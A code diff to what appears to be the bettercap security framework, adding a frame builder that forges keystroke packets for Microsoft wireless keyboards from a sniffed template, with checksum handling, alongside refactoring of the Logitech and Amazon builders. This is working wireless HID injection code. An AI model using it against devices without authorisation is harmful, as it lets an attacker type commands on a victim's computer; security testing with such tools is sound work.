diff --git a/modules/hid/build_amazon.go b/modules/hid/build_amazon.go index be9fdbfe..bd787e62 100644 --- a/modules/hid/build_amazon.go +++ b/modules/hid/build_amazon.go @@ -1,5 +1,9 @@ package hid +import ( + "github.com/bettercap/bettercap/network" +) + const ( amzFrameDelay = 5 ) @@ -14,7 +18,7 @@ func (b AmazonBuilder) frameFor(cmd *Command) []byte { 0x0f, 0, cmd.Mode, 0, cmd.HID, 0} } -func (b AmazonBuilder) BuildFrames(commands []*Command) error { +func (b AmazonBuilder) BuildFrames(dev *network.HIDDevice, commands []*Command) error { for i, cmd := range commands { if i == 0 { for j := 0; j < 5; j++ { diff --git a/modules/hid/build_logitech.go b/modules/hid/build_logitech.go index 4d17ea7f..1beb2ade 100644 --- a/modules/hid/build_logitech.go +++ b/modules/hid/build_logitech.go @@ -1,5 +1,9 @@ package hid +import ( + "github.com/bettercap/bettercap/network" +) + const ( ltFrameDelay = 12 ) @@ -27,15 +31,15 @@ func (b LogitechBuilder) frameFor(cmd *Command) []byte { return data } -func (b LogitechBuilder) BuildFrames(commands []*Command) error { - numCommands := len(commands) +func (b LogitechBuilder) BuildFrames(dev *network.HIDDevice, commands []*Command) error { + last := len(commands) - 1 for i, cmd := range commands { if i == 0 { cmd.AddFrame(helloData, ltFrameDelay) } next := (*Command)(nil) - if i < numCommands-1 { + if i < last { next = commands[i+1] } diff --git a/modules/hid/build_microsoft.go b/modules/hid/build_microsoft.go new file mode 100644 index 00000000..cc849b19 --- /dev/null +++ b/modules/hid/build_microsoft.go @@ -0,0 +1,69 @@ +package hid + +import ( + "fmt" + + "github.com/bettercap/bettercap/network" +) + +type MicrosoftBuilder struct { + seqn uint16 +} + +func (b MicrosoftBuilder) frameFor(template []byte, cmd *Command) []byte { + data := make([]byte, len(template)) + copy(data, template) + + data[4] = byte(b.seqn & 0xff) + data[5] = byte((b.seqn >> 8) & 0xff) + data[7] = cmd.Mode + data[9] = cmd.HID + // MS checksum algorithm - as per KeyKeriki paper + sum := byte(0) + last := len(data) - 1 + for i := 0; i < last; i++ { + sum ^= data[i] + } + sum = ^sum & 0xff + data[last] = sum + + b.seqn++ + + return data +} + +func (b MicrosoftBuilder) BuildFrames(dev *network.HIDDevice, commands []*Command) error { + tpl := ([]byte)(nil) + dev.EachPayload(func(p []byte) bool { + if len(p) == 19 { + tpl = p + return true + } + return false + }) + + if tpl == nil { + return fmt.Errorf("at least one packet of 19 bytes needed to hijack microsoft devices, try to hid.sniff the device first") + } + + last := len(commands) - 1 + for i, cmd := range commands { + next := (*Command)(nil) + if i < last { + next = commands[i+1] + } + + if cmd.IsHID() { + cmd.AddFrame(b.frameFor(tpl, cmd), 5) + if next == nil || cmd.HID == next.HID || next.IsSleep() { + cmd.AddFrame(b.frameFor(tpl, &Command{}), 0) + } + } else if cmd.IsSleep() { + for i, num := 0, cmd.Sleep/10; i < num; i++ { + cmd.AddFrame(b.frameFor(tpl, &Command{}), 0) + } + } + } + + return nil +} diff --git a/modules/hid/builders.go b/modules/hid/builders.go index cd1dbb8f..ead76656 100644 --- a/modules/hid/builders.go +++ b/modules/hid/builders.go @@ -5,10 +5,11 @@ import ( ) type FrameBuilder interface { - BuildFrames([]*Command) error + BuildFrames(*network.HIDDevice, []*Command) error } var FrameBuilders = map[network.HIDType]FrameBuilder{ - network.HIDTypeLogitech: LogitechBuilder{}, - network.HIDTypeAmazon: AmazonBuilder{}, + network.HIDTypeLogitech: LogitechBuilder{}, + network.HIDTypeAmazon: AmazonBuilder{}, + network.HIDTypeMicrosoft: MicrosoftBuilder{}, } diff --git a/modules/hid/hid_inject.go b/modules/hid/hid_inject.go index 737a5b59..2a1b5a83 100644 --- a/modules/hid/hid_inject.go +++ b/modules/hid/hid_inject.go @@ -73,7 +73,7 @@ func (mod *HIDRecon) prepInjection() (error, *network.HIDDevice, []*Command) { mod.Info("%s loaded ...", mod.scriptPath) // build the protocol specific frames to send - if err := builder.BuildFrames(cmds); err != nil { + if err := builder.BuildFrames(dev, cmds); err != nil { return err, nil, nil } diff --git a/network/hid_device.go b/network/hid_device.go index ba043ba9..8db4ca7b 100644 --- a/network/hid_device.go +++ b/network/hid_device.go @@ -147,6 +147,17 @@ func (dev *HIDDevice) AddPayload(payload []byte) { } } +func (dev *HIDDevice) EachPayload(cb func([]byte) bool) { + dev.Lock() + defer dev.Unlock() + + for _, payload := range dev.payloads { + if done := cb(payload); done { + break + } + } +} + func (dev *HIDDevice) NumPayloads() int { dev.Lock() defer dev.Unlock()